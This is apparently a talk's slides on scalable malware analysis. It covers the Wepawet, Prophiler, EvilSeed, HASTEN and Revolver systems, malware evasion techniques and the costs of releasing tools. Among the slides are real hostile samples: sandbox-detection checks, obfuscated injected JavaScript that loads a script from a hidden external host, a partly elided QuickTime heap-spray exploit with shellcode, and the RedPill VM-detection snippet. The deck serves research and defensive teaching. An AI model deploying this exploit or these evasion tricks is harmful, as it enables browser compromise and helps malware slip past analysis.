Malware analysis

An overview and some key challenges

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About me

- Senior security researcher and a member of the founding team of Lastline, Inc
  - Based in the Old Street, London, office
- Previously, lecturer in Computer Security at the University of Birmingham, UK
- Research interests:
  - Malware analysis
  - Vulnerability analysis

Oracles, Filters, Seeders, Anti Evasions

A PIPELINE FOR SCALABLE AND PRECISE ANALYSIS OF MALWARE

One problem, two dimensions

Precision

- Can we *detect* malware?
- Adversarial setting: modern malware uses a number of techniques to *evade* detection
- Often, detection tools are publicly available/publicly described → testable by malware authors

Scalability

- Can we *scale* the detection?
- Challenge: analyze 4+ new pieces of malware *per second*
- Cost, time, infrastructure constraints

Oracle

- Essentially, a classification algorithm for artifacts (web pages, executables, office documents, Android apps, etc.)
  - Input: web page, .exe, .pdf, .apk, …
  - Output: classification (malicious or benign)
- In practice, it is useful to extract and provide users with *evidence* to support classification
  - Exploit detection
  - Deobfuscation results
  - Anything that helps forensics, really

Oracle approaches



Wepawet

- **Detection and Analysis of Drive-by-Download Attacks and Malicious JavaScript Code**
  Marco Cova, Christopher Kruegel, Giovanni Vigna in *Proceedings of the World Wide Web Conference (WWW),* Raleigh, NC, April 2010
- http://wepawet.cs.ucsb.edu
- By the numbers:
  - Number of unique IPs that submitted to Wepawet: 141,463
  - Number of pages visited and analyzed by Wepawet: 67,424,459
  - Number of malicious pages identified as malicious: 2,239,335

Wepawet Features

- Exploit preparation
  - Number of bytes allocated (heap spraying)
  - Number of likely shellcode strings
- Exploit attempt
  - Number of instantiated plugins and ActiveX controls
  - Values of attributes and parameters in method calls
  - Sequences of method calls
- Redirections and cloaking
  - Number and target of redirections
  - Browser personality- and history-based differences
- Obfuscation
  - String definitions/uses
  - Number of dynamic code executions
  - Length of dynamically-executed code

Filter

- If everything goes well, after a while we will have more samples/pages than we can analyze in-depth with your oracle
- Analysis time ranges from a few seconds to a couple of minutes
  - Oracle actually runs the sample
  - Sometimes multiple times (anti-evasion techniques)
  - We may get creative and add sophisticated (= slower/more expensive) analyses (e.g., taint analysis, multi-path execution)
- Do we really need to do this for *every* sample?

Static filtering

- *Quick* identification of samples that can be *safely* discarded
  - For every sample, determine if it is
    likely benign → discard, or
    likely malicious → send to Oracle,
    (can't say → send to Oracle)
- Basis for the classification is typically a set of static features
- Necessarily more imprecise than oracle
  - We only worry about not having false negatives
  - Very tolerant with false positives (consequence: more work for our oracle)

Prophiler

- Filter for malicious web pages
- **Prophiler: a Fast Filter for the Large-Scale Detection of Malicious Web Pages**,
  Davide Canali, Marco Cova, Christopher Kruegel, Giovanni Vigna in
  Proceedings of the International World Wide Web Conference (WWW), 2011

Static features

- We define three classes of features (77 in total)
  - HTML (19)
    - source: web page content
  - JavaScript (25)
    - source: web page content
  - URL and host-based (33)
    - source: page URL and URLs included in the content
- One machine learning model for each feature class

Example features

HTML features

- iframe tags, hidden elements, elements with a small area, script elements, embed and object tags, scripts with a wrong filename extension, out-of-place elements, included URLs, scripting content percentage, whitespace percentage, meta refresh tags, double HTML documents, ...

Matches

```
<div style="display:none">
  <iframe src="http://biozavr.ru:8080/index.php" width=104
height=251 >
</iframe></div>
```

```
<body><div id="DivID">
  <script src='a2.jpg'></script>
  <script src='b.jpg'></script>
  <script src='url.jpg'></script>
  <script src='c.jpg'></script>
  <script src='d.jpg'></script>
  <script src='e.jpg'></script>
  <script src='f.jpg'></script>
</body>
```

Evaluation

- Large-scale evaluation of Prophiler
- 60 days of crawling + analysis
- 18,939,908 unlabeled pages
- 14.3% of pages flagged as suspicious and submitted to Wepawet (13.7% FP)
- 85.7% load reduction on Wepawet = saving more than 400 days of analysis!



Seeder

- Great, we now have some spare capacity: we'll process more samples!
- But how do we actually seed our oracle + filter?
  - Public sources (forums, private mailing list, twitter feeds)
  - Users ("crowdsourcing")
  - Sharing agreements
- How do we actually build our own feed?

Crawling

- Obvious idea: crawling
  - Crawl the web looking for malicious web pages
  - Detect the exploit and grab the executable being installed on the target machine
  - Analyze the executable
- After filling up a few disks, we realize we actually throw away most of the pages we look at (benign):
  - Problem: *toxicity* of regular crawling is pretty low
  - Observation: crawling only as good as the initial seeds
- Challenge: can we find “better” seeds?
  - Crawl parts of the web that are more likely to contain malicious content

EvilSeed

- Guided search approach to increase toxicity of pages that are crawled
- Inputs: malicious web pages found in the past
- Output: set of (more likely malicious) web pages
- **EVILSEED: A Guided Approach to Finding Malicious Web Pages**, Luca Invernizzi, Stefano Benvenuti, Paolo Milani, Marco Cova, Christopher Kruegel, Giovanni Vigna, in *Proceedings of the IEEE Symposium on Security and Privacy*, 2012

Gadgets



Gadgets

All gadgets share the same structure:

- Method to extract features from a sample set
- Method to search for similar samples leveraging some third-party dataset

- Links gadget (malware hub)
- Content dorks gadget
- SEO gadget
- Domain registration gadget
- DNS queries gadget

Content dork gadget

- Creates “dorks” (signatures) from the content of landing pages (malicious)
  - Assumption: pages that are similar are also likely to be landing pages
- Two methods:
  - n-gram extraction
  - term-extraction (e.g., `cnn.com` yields: Eurozone recession, gay wedding, Facebook attack, graphic, content)
- We’ll use these signatures to find other pages that are similar

Content dork gadget



Evaluation metrics

$$Toxicity = \frac{\text{URLs classified as malicious}}{\text{URLs submitted to the Oracle}}$$

$$Expansion = \frac{\text{malicious URLs found by EvilSeed}}{\text{seed size}}$$

EvilSeed results

Source	Seed	Analyzed	Malicious	Toxicity	Expansion
Crawler w/ Prefilter		437,251	604	**0.14%**	
EvilSeed					
Links	604	71,272	1,097	1.53%	1.81
SEO	604	312	16	5.12%	0.02
Keywords	604	13,896	477	3.43%	0.78
Ngrams	604	140,660	1,446	1.02%	2.39
Total		226,140	3,036	**1.34%**	**5.02**
Web Search					
Random Strings		24,137	68	**0.28%**	
Random Dictionary		27,242	107	**0.39%**	
Trending Topics		8,051	27	**0.33%**	
Manual Dorks		4,506	17	**0.37%**	

Anti evasion

- All is going great: we are processing tons of malicious samples.
- At this point of the story, the bad guys will actively try to evade your system
- Lots of effort in designing evasion techniques
  - Analysis environment detection
  - User detection
  - Stalling
- Challenge: how do we bypass evasion attempts or at least detect if we are being evaded?

Evasions

Evasion #1: environment check

Is there anything in the environment that makes it unusual or unexpected?

- Unexpected DLLs or applications
- Recurring product IDs/serial numbers
  - HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\DISK\ENUM
- Hardware configs
  - GlobalMemoryStatus
  - DeviceIoControl (IOCTL_STORAGE_QUERY_PROPERTY)
  - NtOpenKey (Hardware\Description\System\CentralProcessor\0)

Evasion #1: environment check

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Evasion #1: environment check


```
if( (snd = FindWindow("SandboxieControlWndClass", NULL)) ){
  return true; // Detected Sandboxie
} else if( (pch = strstr (str,"sample")) || (user == "andy") || (user == "Andy") ){
  return true; // Detected Anubis sandbox.
} else if( (exeName == "C:\file.exe") ){
  return true; // Detected Sunbelt sandbox.
} else if( (user == "currentuser") || (user == "Currentuser") ){
  return true; // Detected Norman Sandbox.
} else if( (user == "Schmidti") || (user == "schmidti") ){
  return true; // Detected CW Sandbox.
} else if( (snd = FindWindow("Afx:400000:0", NULL)) ){
  return true; // Detected WinJail Sandbox.
} else {
  return false;
}
```

Evasion #2: stalling and hiding

Make the execution slow so that the actual malicious behavior occurs after the analysis has (likely) terminated

- In practice, stall the analysis for a few minutes
- Naive implementation

```
push 20000000h
call Sleep
```

Evasion #2: stalling and hiding

Anti-sleep-acceleration

– introduce a race condition that involves sleeping

- Sample creates two threads

1. Sleep() + NtTerminateProcess()
2. decrypts and runs payload

- Another variation

3. Sleep() + DeleteFileW(<name>.bat)
4. start <name>.bat file

Evasion #2: stalling and hiding



Stalling like Rombertik
More at
http://labs.lastline.com/exposing-rombertik-turning- the-tables-on-evasive-malware

Evasion #3: human detection

- Is there a human behind the keyboard?

```
var X=this.mouseX;
var Y=this.mouseY;
for (;;) {
 if ((this.mouseX!=X)||
     (this.mouseY!=Y)){
        break;
 }
}
do_evil_stuff();
```

Evasion #3: human detection

- And is she not an analyst/reverser?

```
if (!!
window._IE_DEVTOOLBAR_CONSOLE_COMMAND_LINE)
  return; /* don’t run the exploit */
```

HASTEN

- Approach to detect and mitigate malicious stalling code
- **The power of procrastination: detection and mitigation of execution-stalling malicious code**, Clemens Kolbitsch, Engin Kirda, Christopher Kruegel, Giovanni Vigna, in *Proceedings of the ACM conference on Computer and Communications Security*, 2011

Bypass stalling

- Mitigate stalling loops
  1. Detect that program does not make progress
  2. Passive mode
     - Find loop that is currently executing
     - Reduce logging for this loop (until exit)
  3. Active mode
     - When reduced logging is not sufficient
     - Actively interrupt loop
- Progress checks
  - Based on system calls:
    too many failures, too few, always the same, …

Passive Mode

- Finding code blocks (white list) for which logging should be reduced
  - Build dynamic control flow graph
  - Run loop detection algorithm
  - Identify live blocks and call edges
  - Identify first (closest) *active* loop (loop still in progress)
  - Mark all regions reachable from this loop



Active Mode

- Interrupt loop
  - Find conditional jump that leads out of white-listed region
  - Simply invert it the next time control flow passes by
- Problem
  - Program might later use variables that were written by loop but that do not have the proper value and fail

```
1 // H4X0r: make sure delay loop was not interrupted
2 void check() {
3  if (count!=0xe4e1c1) exit();
4 }
```

Experimental Results

Description	# samples	%	# AV families
base run	29,102	–	1329
stalling	9,826	33.8%	620
loop found	6,237	21.4%	425

- 1,552 / 6,237 stalling samples reveal additional behavior
- At least 543 had obvious signs of malicious (deliberate) stalling

Description	Passive			Active		
	# samples	%	# AV families	# samples	%	# AV families
Runs total	3,770	–	319	2,467	–	231
Added behavior (any activity)	1,003	26.6%	119	549	22.3%	105
- Added file activity	949	25.2%	113	359	14.6%	79
- Added network activity	444	11.8%	52	108	4.4%	31
- Added GUI activity	24	0.6%	15	260	10.5%	51
- Added process activity	499	13.2%	55	90	3.6%	41
- Added registry activity	561	14.9%	82	184	7.5%	52
- Exception cases	21	0.6%	13	273	11.1%	48
Ignored (possibly random) activity	1,447	38.4%	128	276	11.2%	72
- Exception cases	0	0.0%	0	82	3.3%	27
No new behavior	1,320	35.0%	225	1,642	66.6%	174
- Exception cases	0	0.0%	0	277	11.2%	63

Revolver

- Assumption: attackers are likely to take existing malicious samples/web pages and enhance them to add evasive code
- Idea: detect *similar* samples that are classified *differently* by the oracle
- **Revolver: An Automated Approach to the Detection of Evasive Web-based Malware** A. Kapravelos, Y. Shoshitaishvili, M. Cova, C. Kruegel, G. Vigna in *Proceedings of the USENIX Security Symposium* Washington, D.C. August 2013

Revolver


Web
Oracle
Pages
ASTs
IF
...
VAR <= NUM
IF
...
VAR <= NUM
Candidate pairs
Similarity computation
...
{b_i, m_j}
...
- Malicious evolution
- Data-dependency
- JavaScript infections
- Evasions

Revolver

Revolver | Submissions | Latest Tags | Statistics | About | marco@cs.ucsb.edu | Logout

Submission c116a47517cc48fbecd2b69d1a240cea-1395090881 details

Similarity graph

Link color means:
Evasion
Possible Evasion
Injection
Evolution
Data Dependency



URL	Source hash	AST	Source code
http://digitalphotographyclassess.com/wp-in...	9117b360d1fa23411edd38a62932966c52252ac3	19937	View
http://static.getclicky.com/js	906d9a4f0234b6dba00b3b8d44bbf4d7b7bb319e	1545732	View
http://digitalphotographyclassess.com/wp-in...	9664fd69fbc51a0afabad00121306d8df24d9272	23829	View
http://digitalphotographyclassess.com/wp-c...	dedc957957c74eaf6e6168d457db3b33aff9518	289105	View

Conclusions

- Malware is key component in many security threats on the Internet
- Automated analysis of malicious code faces a number of challenges
  - Evasion is one critical challenge
  - Scalability of the analysis
- Pipeline of techniques to achieve scalability and precision
  - Different approaches, methods at each step

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QUESTIONS?

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A few words on releasing tools

- We built several tools along the way and **released** quite a few of them:
  - Wepawet,
  - Revolver
- How do I feel about it?

Releasing is painful

- Funding for supporting released tools?
  - Few opportunities to submit grant to “continue running service X”
- When do you stop developing?
  - Releasing can be a “seductive trap” (James Larus)
  - Dealing with requests from users
- Costs are significant
  - Probably giving up on at least one paper in a top conference
  - Effort on “bells and whistles” that do not give any (research) return

Releasing is great

- Research enabler for you
  - Putting a tool it out there enabled us to see a lot of interesting, research-worthy problems that we had not thought about before
  - Collection of invaluable data sets
  - Much more solid papers
- Research accelerator for everybody
  - Other people/groups use the tools → speed up the innovation cycle
- Impact showcase
  - Quantitative metrics, feedback from users
  - Great for REF and similar assessments!
- Personal satisfaction and branding
  - Recognition in the community at large
  - “This stuff actually works”

Malicious code

```
ipt>function GuclogyuYuvicoqik (PukikejQujxigene) { var CapupJadugute = document.coc
xOf (';', PukikejQujxigene); if (CapupJadugute == -1) CapupJadugute = document.cooki
; return unescape(document.cookie.substring(PukikejQujxigene, CapupJadugute)); } fur
rulcRotqoqor (name) { var arg = name + '='; var alen = arg.length; var clen = docume
e.length; var i = 0; while (i < clen) { var j = i + alen; if (document.cookie.substr
) == arg) return GuclogyuYuvicoqik (j); i = document.cookie.indexOf(' ', i) + 1; if
 break; } return null; } function VohojubegGoxfokizo (name, value) { var argv = Voho
fokizo.arguments; var argc = VohojubegGoxfokizo.arguments.length; var expires = (arg
 argv[2] : null; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? a
 null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + '=' + esc
ue) + ((expires == null) ? '' : ('; expires=' + expires.toGMTString())) + ((path ==
'' : ('; path=' + path)) + ((domain == null) ? '' : ('; domain=' + domain)) + ((secu
ue) ? '; secure' : ''); } if (XerulcRotqoqor('o') == null) { var YicdTomefup = 'LDRH
AnWGKsXTWLGYOJtFWGIHPZALaCOQVKYMMSGlUHPWPJTABOlEINDGREUST-DSLXHXIaGJZPHFGdUMToBUPbZW
HRI-JLOJQOMVPfEPUKWCVXlQIXRBYOKFaRYTNPOsWOWhVJIYTZ.YFBYTcSIECKoWXEQYm'.replace(/[A-Z
 var TozamopubRojux = document.createElement('script'); TozamopubRojux.src = 'http:/
dTomefup + '/counter/?page=' + escape(document.referrer) + '&rnd=' + Math.random() +
srv=1'; document.getElementsByTagName('head')[0].appendChild(TozamopubRojux); var Pa
safemim = new Date (); PahewicXesafemim.setTime(PahewicXesafemim.getTime() + (8*3600
; VohojubegGoxfokizo('o','1',PahewicXesafemim, '/'); }</script></body>
```

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Exploit

```
function ms(){
    var plc = unescape("
        %u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F
        %uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703
        %uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D
        ...
        %u6870%u3F70%u6469%u353D%u3935%u0030");
    var hsta = 0x0c0c0c0c, hbs = 0x100000, pl = plc.length * 2, sss = hbs - (pl + 0x38);
    var ss = gss(addr(hsta), sss), hb = (hsta - hbs) / hbs;
    for (i = 0; i < hb; i ++ )m[i] = ss + plc;
}
function quick(){
    try {
        var obj = null;
        obj = cobj("QuickTime.QuickTime.4");
        if (obj){
            ms();
            var buf = "";
            for (var i = 0; i < 200; i++ ){
                buf += "AAAA";
            }
            for (var i = 0; i < 3; i++ )
                buf += "\x0c\x0c\x0c\x0c";
            var my_div = document.createElement("div");
            my_div.innerHTML = "<object classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\" width=\
            "<param name=\"src\" value=\"object_rtsp\">" +
            "<param name=\"type\" value=\"image/x-quicktime\">" +
            "<param name=\"autoplay\" value=\"true\">" +
            "<param name=\"qtnext1\" value=\"<rtsp://BBBB:" + buf + ">T<myself>\">" +
            "<param name=\"target\" value=\"myself\">" + "</object>";
            document.body.appendChild(my_div);
        }
    }
    catch (e){ }
    return 0;
}
```

Social Malware



Not really LinkedIn

Detect virtualized environment

- Insufficient support from hardware for virtualization
  - J. Robin and C. Irvine: Analysis of the Intel Pentium's Ability to Support a Secure Virtual Machine Monitor; Usenix Security Symposium, 2000
  - Famous RedPill code snippet

Detect virtualized environment

- Insufficient support from hardware for virtualization
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  - Famous RedPill code snippet
- Hardware assisted virtualization helps (Intel-VT and AMD-V)
- But systems can still be detected due to timing differences

Detect virtualized environment

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  - J. Robin and C. Irvine: Analysis of the Intel Pentium's Ability to Support a Secure Virtual Machine Monitor; Usenix Security Symposium, 2000
  - famous RedPill code snippet

Joanna Rutkowska

Swallowing the Red Pill is more or less equivalent to the following code (returns non zero when in Matrix):

```
int swallow_redpill () {
  unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3";
  *((unsigned*)&rpill[3]) = (unsigned)m;
  ((void(*)())&rpill)();
  return (m[5]>0xd0) ? 1 : 0;
}
```